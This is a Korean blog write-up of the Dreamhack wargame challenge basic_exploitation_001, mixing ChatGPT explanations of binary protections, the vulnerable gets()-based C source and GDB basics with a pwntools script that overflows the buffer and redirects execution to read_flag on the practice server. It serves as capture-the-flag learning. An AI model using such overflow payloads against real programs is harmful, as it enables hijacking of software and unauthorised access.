Dreamhack/Dreamhack Wargame (Challenge)

[43] IT 비전공자 [dreamhack]basic_exploitation_001 문제 풀기

imaginefuture-1 2024. 10. 22. 09:59

 

안녕 43번째 문제야

 

https://jhyuxxk.tistory.com/22

 

DreamHack 1단계 basic_exploitation_001

DreamHack 1단계 basic_exploitation_001 문제를 풀어보겠다. 위 그림에서 NX 보호 기법이 활성화 되어있음에 따라 쉘 코드가 실행되지 않다는 것을 알 수 있다. main 함수 : buf 에 0x80만큼 사이즈가 할당되는

jhyuxxk.tistory.com

https://velog.io/@silvergun8291/Dreamhack-basicexploitation001

 

[Dreamhack] basic_exploitation_001

문제 소스코드를 출력해보면gets() 함수로 크기에 제한 없이 입력을 받고 있기 때문에 버퍼 오버플로우 공격이 가능합니다.read_flag() 함수를 실행시키면 flag 파일을 읽을 수 있기 때문에, RET에 read_

velog.io

https://0secusik0.tistory.com/2

 

[Dreamhack] Basic_Exploitation_001

보호 기법 확인 32bit 바이너리 relro 없음 카나리 없음 nx bit 존재 → shellcode 삽입 불가 pie 없음 바이너리 실행 단순히 사용자의 입력만 받고 있음 입력 값에 대한 검증 실시x 소스코드 분석 #include #

0secusik0.tistory.com

https://skyups10.tistory.com/entry/dreamhack-basicexploitation001-pwnable

 

[dreamhack] basic_exploitation_001 (pwnable)

https://dreamhack.io/wargame/challenges/3/ basic_exploitation_001 Description 이 문제는 서버에서 작동하고 있는 서비스(basicexploitation001)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플

skyups10.tistory.com

 

문제 풀이를 위해 열심히 참고했다...!

 

보호기법이 적용되어있다한다..!

 

gpt:

 

주어진 정보는 Ubuntu 16.04에서 i386 아키텍처의 32비트 이진 파일에 대한 보안 특성 및 설정을 나타냅니다. 각 항목을 자세히 설명하겠습니다.

### 1. Ubuntu 16.04
- **운영 체제**: Ubuntu 16.04는 2016년에 출시된 리눅스 배포판입니다. 이 버전은 LTS(장기 지원)로, 안정성과 보안 업데이트가 장기간 제공됩니다.

### 2. Arch: i386-32-little
- **아키텍처**: `i386`은 Intel의 32비트 아키텍처를 의미합니다. `little`은 바이트 순서가 리틀 엔디안임을 나타내며, 이는 메모리에서 낮은 주소에 가장 낮은 바이트가 저장된다는 것을 의미합니다.

 

리틀 엔디안..!

 

https://tjrwjs147.tistory.com/233

 

[C] 리틀엔디안(Little Endian), 빅엔디안(Big Endian)

리틀엔디안(Little Endian)과 빅엔디안(Big Endian)은 컴퓨터 시스템에서 데이터를 저장하고 표현하는 방식을 나타내는 개념이다. 이것은 특히 컴퓨터의 바이트 순서를 의미한다. 리틀엔디안은 가장

tjrwjs147.tistory.com

 


### 3. RELRO: No RELRO
- **RELRO**: "Relocation Read-Only"의 약자입니다. 이 설정은 프로그램의 데이터 섹션을 읽기 전용으로 만드는 방법으로, 특정 메모리 취약점 공격으로부터 보호합니다. `No RELRO`는 이 기능이 활성화되지 않았음을 의미합니다.
- **안전성**: RELRO가 없으면, 특정 메모리 영역이 변경될 수 있어 공격자가 메모리 구조를 악용할 가능성이 커집니다.

 

메모리구조 공격!


### 4. Stack: No canary found
- **스택 카나리**: 스택 오버플로우 공격을 방지하기 위해 사용되는 보안 기술입니다. 함수 호출 시 스택에 특별한 값(카나리)을 저장하고, 함수가 종료될 때 이 값이 변경되었는지 확인합니다. 
- `No canary found`는 이 보호 기능이 활성화되어 있지 않음을 나타냅니다. 이는 스택 오버플로우 공격에 취약함을 의미합니다.

 

스택오버플로우!


### 5. NX: NX enabled
- **NX (No-eXecute)**: 이 설정은 특정 메모리 영역을 실행할 수 없도록 지정하는 보안 기능입니다. NX가 활성화되면 데이터 영역이 실행 가능한 코드로 해석되지 않으므로, 악성 코드가 메모리에 삽입되더라도 실행될 수 없습니다.
- `NX enabled`는 이 보호 기능이 활성화되어 있음을 나타내며, 이는 메모리 취약점을 통한 악성 코드 실행을 방지합니다.

 

shellcode삽입불가..


### 6. PIE: No PIE (0x8048000)
- **PIE (Position Independent Executable)**: 이 기술은 실행 파일의 메모리 주소를 랜덤화하여 공격자가 특정 주소를 타겟으로 삼는 것을 어렵게 만듭니다. `No PIE`는 이 기능이 비활성화되어 있다는 것을 의미하며, 이는 특정 메모리 주소를 목표로 하는 공격에 취약함을 의미합니다.
- `0x8048000`은 이 프로그램의 기본 주소(base address)를 나타내며, 이 주소는 프로그램이 메모리에서 로드되는 위치입니다.

 

특정 주소 타켓 공격!


### 요약
이 정보를 종합하면:
- **안전성**: 이 이진 파일은 스택 카나리와 RELRO 기능이 없어서 스택 오버플로우 공격에 취약합니다. PIE가 비활성화되어 있어 메모리 주소를 예측할 수 있으며, 이는 공격자가 특정 메모리 위치를 타겟으로 삼는 데 유리합니다. 반면, NX가 활성화되어 있어 데이터 영역에서의 코드 실행을 방지합니다.
- **결과**: 이러한 보안 설정은 실행 파일이 공격에 얼마나 취약한지를 나타내며, 공격자는 이 정보를 바탕으로 특정 취약점을 악용할 수 있습니다.

추가적인 질문이 있다면 언제든지 말씀해 주세요!

 


소스코드다..

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {	// flag 파일을 읽어주는 함수
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];	// buf[128]

    initialize();
    
    gets(buf);	// 크기에 제한없이 buf에 입력을 받음

    return 0;
}

 

지피티야 지피티야

 

gpt:

 

 

주어진 C 코드에서 `/flag` 파일의 내용을 출력하려면 프로그램의 취약점을 이용해야 합니다. 이 프로그램은 `gets()` 함수를 사용하고 있으며, 이 함수는 버퍼 오버플로우 취약점이 있습니다. 이로 인해 특정 방식으로 공격할 수 있습니다.

 

위에서 얘기한 버퍼오버플로우 문제군..

 

 

### 코드 분석
1. **신호 처리**:
   - `signal(SIGALRM, alarm_handler);`는 `SIGALRM` 신호가 발생할 때 `alarm_handler` 함수를 호출하도록 설정합니다.
   - `alarm(30);`는 30초 후에 `SIGALRM` 신호를 발생시킵니다. 이 신호가 발생하면 "TIME OUT" 메시지를 출력하고 프로그램이 종료됩니다.

2. **버퍼와 입력**:
   - `char buf[0x80];`는 128바이트의 버퍼를 선언합니다.
   - `gets(buf);`는 사용자로부터 입력을 받는데, 이 함수는 입력 크기를 제한하지 않으므로 버퍼 오버플로우 공격에 취약합니다.

3. **Flag 읽기**:
   - `read_flag()` 함수는 `system("cat /flag");`를 호출하여 `/flag` 파일의 내용을 출력합니다.

### 공격 방법
1. **버퍼 오버플로우 이용**:
   - `gets(buf);`에 입력하는 데이터를 통해 버퍼를 오버플로우시키고, `read_flag` 함수를 호출할 수 있습니다. 이를 위해서는 적절한 반환 주소를 덮어써야 합니다.

2. **메모리 주소**:
   - `read_flag` 함수의 주소를 알아내야 하며, 이를 위해 프로그램을 실행할 수 있는 환경에서 주소를 확인해야 합니다.
   - `gdb`와 같은 디버거를 사용하여 `read_flag`의 주소를 찾거나, `objdump`로 이진 파일을 분석할 수 있습니다.

3. **페이로드 작성**:
   - 128바이트 버퍼를 채운 후, 그 다음에 `read_flag` 함수의 주소를 덮어씌운 데이터를 준비해야 합니다.

### 예시 페이로드
- 만약 `read_flag` 함수의 주소가 `0x400123`라고 가정하면, 입력할 데이터는 다음과 같습니다:
  - `A` * 128 (버퍼를 채우기 위한 문자)
  - `0x23`, `0x01`, `0x40`, `0x00` (리틀 엔디안 형식으로 주소를 추가)
  
- 이를 통해 공격자의 입력이 버퍼를 넘어서 `read_flag`를 호출하도록 만듭니다.

### 실행 절차
1. **코드 컴파일**:
   - 코드를 컴파일하고 실행합니다.
   ```bash
   gcc -o vuln_program vuln.c -m32
   ```

2. **디버깅**:
   - `gdb vuln_program`으로 실행하고, `read_flag`의 주소를 확인합니다.

3. **입력**:
   - 프로그램 실행 후, 128 바이트의 `A`를 입력한 뒤 `read_flag` 주소를 입력합니다.

4. **결과**:
   - 프로그램이 `read_flag`를 호출하면 `/flag`의 내용이 출력됩니다.

이 방법은 특정 상황에 맞춰 조정해야 할 수 있으며, 실행 환경이나 컴파일러에 따라 다르게 작동할 수 있습니다. 추가적인 질문이나 도움이 필요하면 말씀해 주세요!

 


 

gbd가 뭐야 지피티야..

 

 

gpt:

 

GDB (GNU Debugger)는 리눅스에서 프로그램을 디버깅할 때 사용되는 강력한 도구입니다. GDB를 사용하면 프로그램의 실행을 제어하고, 변수 값을 확인하며, 스택 트레이스를 검사하고, 프로그램을 중단시키고, 코드의 흐름을 변경할 수 있습니다.

여기 GDB에서 자주 사용되는 주요 명령어를 정리해 보겠습니다:

### 기본 명령어

1. **시작 및 종료**
   - `gdb <program>`: 디버깅할 프로그램을 GDB로 실행합니다.
   - `run`: 프로그램을 실행합니다.
   - `quit`: GDB를 종료합니다.

2. **브레이크포인트 설정**
   - `break <location>` 또는 `b <location>`: 특정 위치에 브레이크포인트를 설정합니다. `<location>`은 함수 이름이나 소스 코드의 행 번호일 수 있습니다.
   - `delete`: 모든 브레이크포인트를 삭제합니다.
   - `disable <breakpoint_number>`: 특정 브레이크포인트를 비활성화합니다.
   - `enable <breakpoint_number>`: 특정 브레이크포인트를 활성화합니다.

3. **프로그램 실행 제어**
   - `continue` 또는 `c`: 프로그램을 재개합니다.
   - `step` 또는 `s`: 다음 명령어를 한 줄씩 실행하며 함수 호출 내부로 들어갑니다.
   - `next` 또는 `n`: 다음 명령어를 실행하되 함수 호출 내부로는 들어가지 않습니다.
   - `finish`: 현재 함수의 실행을 마치고 반환합니다.

4. **변수 및 메모리 확인**
   - `print <variable>` 또는 `p <variable>`: 변수의 값을 출력합니다.
   - `display <variable>`: 변수의 값을 계속 표시합니다.
   - `info locals`: 현재 함수의 지역 변수 값을 보여줍니다.
   - `info args`: 현재 함수의 인자 값을 보여줍니다.
   - `x/<format> <address>`: 메모리 내용을 확인합니다. `<format>`은 예를 들어 `x/10x`는 10개의 16진수 값을 표시합니다.

5. **스택 및 스레드 관리**
   - `backtrace` 또는 `bt`: 스택 트레이스를 출력합니다.
   - `frame <frame_number>`: 특정 프레임으로 이동합니다.
   - `info threads`: 현재 스레드 정보를 보여줍니다.
   - `thread <thread_number>`: 특정 스레드로 전환합니다.

### 기타 유용한 명령어
- `list`: 소스 코드를 표시합니다.
- `help`: 사용 가능한 명령어 목록 및 도움말을 보여줍니다.
- `file <filename>`: 디버깅할 실행 파일을 설정합니다.
- `set args <args>`: 프로그램 실행 시 인자로 사용할 값을 설정합니다.

### 사용 예시
1. GDB 시작:
   ```bash
   gdb my_program
   ```

2. 브레이크포인트 설정:
   ```gdb
   b main        # main 함수에 브레이크포인트 설정
   run           # 프로그램 실행
   ```

3. 프로그램 실행 제어:
   ```gdb
   c             # 계속 실행
   s             # 다음 줄로 이동
   ```

4. 변수 출력:
   ```gdb
   p my_variable # 변수 값 출력
   ```

이 외에도 GDB는 많은 기능을 제공하므로 필요에 따라 공식 문서나 추가 자료를 참고하면 좋습니다. GDB 사용법에 대한 질문이 있다면 언제든지 말씀해 주세요!

 


 

블로그 풀이글 + gtp의 말을 정리하면 이 문제는

gets() 함수로 크기에 제한 없이 입력을 받고 있기 때문에 버퍼 오버플로우 공격이 가능
스택의 기본 구조는 Buffer + SFP (4Byte) + RET (4Byte) 
buf 의 크기는 128 Byte 이고 SFP 의 크기는 4 Byte 이므로 RET 전까지
바이트 수는 132 바이트라는 것을 알 수 있다.
즉, 132 바이트까지 gets 로 입력을 하고 RET 에 침범하여, read_flag 함수의  주소 값을 넣어주면
강제로 read_flag 함수를 호출하여 권한을 탈취할 수 있다.

출처ㅣ https://jhyuxxk.tistory.com/22

 

 

 

 이미지 출처

https://velog.io/@silvergun8291/Dreamhack-basicexploitation001

 

[Dreamhack] basic_exploitation_001

문제 소스코드를 출력해보면gets() 함수로 크기에 제한 없이 입력을 받고 있기 때문에 버퍼 오버플로우 공격이 가능합니다.read_flag() 함수를 실행시키면 flag 파일을 읽을 수 있기 때문에, RET에 read_

velog.io

 

gpt:

 

주어진 내용은 `gets()` 함수의 취약점을 이용한 버퍼 오버플로우 공격에 대한 설명입니다. 이 내용을 좀 더 자세히 분석해 보겠습니다.

### 기본 개념
1. **버퍼 오버플로우**:
   - `gets()` 함수는 사용자가 입력하는 데이터를 버퍼에 저장하는 함수입니다. 하지만, 이 함수는 입력 크기에 대한 제한을 두지 않기 때문에, 입력 데이터가 버퍼의 크기를 초과할 경우 인접한 메모리 영역을 덮어쓸 수 있습니다. 이를 통해 공격자는 프로그램의 흐름을 변경할 수 있습니다.

2. **스택 구조**:
   - 스택은 함수 호출 시 다음과 같은 기본 구조를 가집니다:
     - **Buffer**: 지역 변수(예: `char buf[128];`)가 저장되는 공간입니다.
     - **SFP (Saved Frame Pointer)**: 이전 함수의 기반 포인터(일반적으로 `ebp`)를 저장합니다. 이 공간은 4바이트입니다.
     - **RET (Return Address)**: 함수 호출 후 돌아갈 주소를 저장합니다. 이 공간 역시 4바이트입니다.

3. **스택 레이아웃**:
   - 스택은 다음과 같이 구성됩니다 (상단에서 하단으로):
     ```
     +----------------------+
     |     Buffer (128B)   |  <- buf
     +----------------------+
     |     SFP (4B)        |  <- Saved Frame Pointer
     +----------------------+
     |     RET (4B)        |  <- Return Address
     +----------------------+
     ```

### 공격 시나리오
1. **입력 크기**:
   - `buf`의 크기는 128바이트이고, SFP는 4바이트, RET는 4바이트입니다. 총 132바이트까지 입력을 받을 수 있습니다.

2. **입력 데이터**:
   - 공격자는 `gets()` 함수를 통해 132바이트의 데이터를 입력합니다. 이 데이터에는 128바이트의 패딩(예: 'A'와 같은 값) 뒤에 SFP와 RET의 주소를 덮어쓰는 값이 포함됩니다.

3. **RET 주소 변경**:
   - 공격자는 RET의 위치를 덮어쓰면서, `read_flag` 함수의 주소를 삽입합니다. 이로 인해, 원래의 프로그램 흐름이 변경되어 함수가 종료된 후에 대신 `read_flag`가 호출됩니다.

### 결과
- 공격자가 `read_flag`의 주소를 삽입하면, 프로그램의 정상적인 흐름 대신 `read_flag` 함수가 실행됩니다. 이 함수는 `/flag` 파일의 내용을 출력하므로, 공격자는 권한을 탈취할 수 있습니다.

### 예시 코드
여기서 간단한 예시 코드를 보여드리면, 공격자가 사용하는 페이로드는 대략 다음과 같을 수 있습니다:

```python
# 공격자의 페이로드 예시
payload = b"A" * 128  # Buffer를 채우기 위한 패딩
payload += b"\x12\x34\x56\x78"  # read_flag의 주소를 리틀 엔디안 형식으로 입력

# 해당 페이로드를 프로그램에 입력하여 실행
```

이렇게 함으로써 공격자는 버퍼 오버플로우를 활용하여 프로그램의 흐름을 변경하고, `/flag` 파일의 내용을 읽어올 수 있습니다. 추가 질문이나 궁금한 부분이 있으면 언제든지 말씀해 주세요!

 

흐으으음 완전히 이해는 못했지만 어떤 구조인지는 대략 알겠다.

덮어쓰워서 flag 주소가 나오게해서 문제를 풀어야할 것 같다.

 

 


 

 

우분투를 이용해 서버 접속한다..

 

gdb를 이용

info func명령어

read_flag 시작 주소를 찾았다 0x080485b9

 

from pwn import *

p = remote('host1.dreamhack.games', 11726)
e = ELF('./basic_exploitation_001')

payload = "A"*132
payload += p32(e.symbols['read_flag'])

p.sendline(payload)
p.interactive()

 

코드를 짰다. 

 

에에..에러가 뜬다,..

 

gpt:
이는 변수 이름의 충돌로 인해 특정 객체가 int 타입으로 재정의된 경우일 수 있습니다.
이 오류는 일반적으로 함수나 메서드가 아닌 정수형 변수를 호출하려고 할 때 발생합니다.

 

 

이렇게 수정..

 

 

먼저 pwn 모듈을 사용하기 위해서 import 시키고, 해당 문제가 있는 서버로 원격 접속을 하기 위해서
remote 클래스를 사용한다.
 
그 후 , 132 바이트까지 입력할 문자열을 만든다.
이때 python2 와 python3 의 방식이 다르므로 만약 python3 를 사용하고 있다면
문자열 앞에 바이트 형식으로 변화해준다는 문자열 b 를 꼭 작성해야 한다 !!
 
RET 전까지 바이트가 채워지면, read_flag 함수의 주소 값을 32 비트 리틀엔디안 패킹 방식으로 넣어준다.
 
그 후, sendline 을 통해 payload 의 값을 전송하고, interactive 를 통해 쉘에 접속한다.

출처ㅣ https://jhyuxxk.tistory.com/22

캬!